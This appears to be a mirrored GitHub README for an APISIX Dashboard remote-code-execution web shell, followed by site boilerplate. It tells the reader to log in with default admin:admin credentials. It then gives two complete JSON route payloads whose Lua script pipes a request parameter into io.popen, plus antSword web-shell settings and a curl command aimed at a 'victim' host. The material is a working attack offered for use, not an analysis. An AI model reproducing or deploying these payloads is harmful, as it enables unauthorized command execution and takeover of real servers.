GithubHelp home page GithubHelp logo

apisix-webshell-rce's Introduction

apisix-webshell-sample

apisix admin dashboard script RCE web shell sample

APISIX - Authed RCE

APISIX Dashboard default at port 9080

and you can have default credit admin:admin to get admin login.

create route and use 查看/watch edit json like this.

{
  "uri": "/rceEndpoint",
  "name": "RCE{not same}",
  "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f =        assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
  "upstream": {
    "nodes": [
      {
        "host": "example.com",
        "port": 80,
        "weight": 1
      }
    ],
    "type": "roundrobin",
    "hash_on": "vars",
    "scheme": "http",
    "pass_host": "pass"
  },
  "status": 1
}

if you got schema error add script_id as id show when your route create complete.

and using http://victim:port/rceEndpoint?cmd={your_command}

to get an shell.

antSword Settings

payload like

{
  "uri": "/rceEndpoint",
  "name": "data",
  "script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n ngx.req.read_body() \n local args = assert(ngx.req.get_post_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
  "script_id": "0000000114514",
  "upstream": {
    "nodes": [
      {
        "host": "example.com",
        "port": 80,
        "weight": 1
      }
    ],
    "type": "roundrobin",
    "hash_on": "vars",
    "scheme": "http",
    "pass_host": "pass"
  },
  "status": 1
}

and setting data

like

target is http://victim:port/rceEndpoint

password is cmd

type is linuxcmd

manually:

curl http://victim:port/rceEndpoint -d "cmd={your_commnad}"

.....to be continued.

apisix-webshell-rce's People

Contributors

esonhugh avatar

Stargazers

 avatar  avatar  avatar

Watchers

 avatar

Forkers

lay0us1

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.